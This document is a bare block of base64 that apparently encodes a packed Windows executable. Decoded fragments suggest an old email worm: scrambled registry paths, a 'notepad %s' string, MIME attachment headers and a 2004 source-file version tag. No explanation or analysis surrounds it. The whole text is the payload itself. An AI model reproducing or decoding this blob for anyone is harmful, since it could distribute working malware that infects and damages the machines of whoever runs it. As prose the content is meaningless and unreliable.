ApIAUCZKAEAD/bJpmiwQBPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCf aUgARAc4MDRN03QDKCQcGBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClv XKbpmsEHVEwDRDiapmmaLCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyA eHAoe2jebNN1B1wDVEwo//sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY 1MzIwJqmabq4J7CsqKCYaZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA +CbPA+jg2Gebzm1UNEMDQDQ024r/////nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/ ////91rAKZUEdutj3lzdYehy/48iuFHtjC7TeybUDTnwqmf/////J+qweUUU5ruTbkwtEfjiz7+y qKGdnJ6jq7bE1ekAGjf/////V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/////hwqQ GaWlqP7yw9Ko+BIsSmuPtuANPXCm3xtafOEnVcn/////EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCW T8tqDLFDerL/////cxfOiEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/////s8fe+hU1WH6n wwI0eaHcGluP5jBtzSB2zyuK/FG5JJL/////A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9 +Tj/////er8HUqDxRWyWU7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/////6o834pBB9axmI+OmbDUB 0KJ3TyoI6c20not7bmRdWVj/////Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3///// mnenAnDhVcwGw0PGXNVhYWRqc3+MoLXN6AYnS3Kcyfn/////LGKbVxZYfbBgJv4jetQxkeRawy/O EIX9dPZ3+4AMmSn/////vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/////TkI7Nzg4 PUVQXm+DmrTR8RQ6Y8++8OVstuQjW/e8Yaj/////0DuJ7nM8Y/iZ4MVLkRehId4isz8/VEhRe29+ 1s/ZbpX/3/7/KQMj6ZQJv+bzpUEQpnwyaWuAIQstx07SEIJs+f////9zp3feFIcHB/tSqgFhwCyb 9yaW3ZedImAPRp7N/SxAf/////+TstLxCSBYdmhjXVBSUVNqZHcBLMXvVDC8VxE8zp1Xbv////8g 461g2tFSFc5mX7dBwBTkZZOfeP5yDbznapV7exN2dv////99HA0t8vb0sPHR53n63Uxlo/8nbIzd C9uMG6m9dYc7T//////bFIJCFAlFzIIP+mK3KXP7FYPnHpN+tCRpKf+9KMvqTv//7f93Djqwv/dU 1OxzmAFNBp3yoq/CYvPlXjffBXFS/////wf4G0B+VD6nqU8sAn0wyOcG0lQqGmtMAZ0E9mr6HccG /4X///gdkASrlgAGBhAr75nUTv8XeAuTxvh1IYyk/////1//zHJr62/+pf3s0EHJeJHZxKwmx+jg qbcaXW/sKRCj/////7zz7fVvUSE1jdZTHEgpGOO3XD+duM3QUlXjtUPqvmfj/////6CgMuLOSTok LzAKj66E4XVAoWKYsvUwSuDj/5GBwScH/////3eIZ49Us4UI4v6CRathjnTauyo4rvBK1BicF4pI wrW8/////577H1bmbpDgO0ezoBq30qq8xPeTSKYBwAT/BhKLXanY/////72UMfgf6FpjPt/WCspC 1QxeYEly9fSu9FMX/BYV8o6a/////3NwPIKx4o43W1MWoieUVFissTU3Pqp1ZZUhbusahIFq//// /+YKGD86lZ+BguNzpEc9CQLWLojCp9U/ilzqn1Y7Xz1K/9L//8N5X0MJuPCrms4esoXZS8HUO17P 3/ZH+Ur3/////9j7LbSKZ2L/WK0RjCL3W8tY34X8rOBl2uuXlOJgCO8//////zzj7H8QjmB+3U2b 5J0FG5d628yz+zePJfE5HbJ8GvUd/////x+9n+nG6unrPtmWcP072kUl9vOk59YEIUw5/lukh4mS ////C53TsFuNKjZCG8rR5DRQrMMcxeFmimxbM1FC/////+0+I6ti1+6U9DSy6dVJrF4mrrxteWeV WzeGpII9rofD/////4ewgLbfQ9+7i4BlLx6oMsu1KpM3Q3niYjRauu1pXGwi/////6wY1XPh68iG L1pJT/FD8zfLbzYYPWctofGYQhK4DcHK/7f//2sKa/gFjY0HnpfoiFC2srjZ8zKBX9p+X/fQHQ3/ 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 e2iJlaKAnebr84n/3/jbf21bDAv5g+gRI57fC0aEaDFQmuc3iv//Df7gOZX0Vrsj2m3hWNJPz1LY Ye3t8Pb/Cxr//y/9LEFZdJKzmShVhbjuJ2Oi5ClxvApbrwZgvR3/Fl/qgOZPjpwRiQS6hw6YJbVI 3v////93E7JU+aFM+qtfFtCNTRDWn2s6DOG5lHJTNx4I9eXYzv+F/v/Hw8LEydHc6vsPJkBdfaBP G0p8sekkYqP/Av//5y54xRVovhdz0jSZAWzaSwCwLa0wtj/L//+N/svO1N3p+ApAUnCRtdwGM2OW zAVBgMIHT/9S//+a6DmN5D6b+17ELZkIeu9nU+Fl7HYDkyb+X+r/vFXxkDLXfyrYiT3oayvutH1J GOq/l3Lo//+XwBX85tPDtqyloaCip6+6yNntBB47W/X//19BzfkoWo/HKHN5bmMuYyx2IDAuMSAy MDA0/SPbb5MxL3h4IAI6IGFuZHkpAHu7BRvMAi0MAAUcADkJzhD/mQ8BABAACQAS1wMHIX77ZnV2 enRNdi5xeXk3RmL9v/v/c2dqbmVyXFp2cGViZg1cSnZhcWJqZlxQaGV/+f+/F2FnSXJlZnZiYVxS a2N5YmVyZWJ6UXl0M7f4LdgyXBlDanJvRnZrRnq6v/32Z2tGMFNnbmZ4ehcucmtyAEcLWis0BfYj Z0V5l5b/9r9ub3RlcGFkICVzC01lc3NhZ2UALCX7mNsPdRIFLjJ1OgSKbnvPFAYDLy0/K/tv/29D ZWMATm92AE9jdABTTQBBdWcASnVsA7a5261uU2F5D3ByBwNGkLe/XbYTYVNhJ0ZyaQBUaERXZfbO 3bZkB3VzTW8XL2FiY2Sf+8Jv/2doaWprbG2ccHFyc3ROd3h5emf2//9/QUJDREVGR0hJSktMTU5P UFFSU1RVVldYWVobte3W2la412NnVAJQ3Oha4bYIcA5xRiAFn2ocPoJbAHYajmFoeHLd98K2PZNi 7naaXyducHgPoXD4t55iZ3h2Z0tDwwdp3y78fy10dmV5LTIuMG9xcIxfY05wdXJmmaHdCjNcdmkL RDvZ1r5tSGRWLVHgeXPnnvv+bnpjNQB0Z2FbXymPgll27nNjXwdwaS7l3g4Y21FnMCNYbvpuXEcr 3NreW2Fmc9UACmhsoy12gVd8LmRsbLPdUXUmbsnK9nlfQQtkGTB0TrDQatwCd28P8Oht5dYcztFr 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 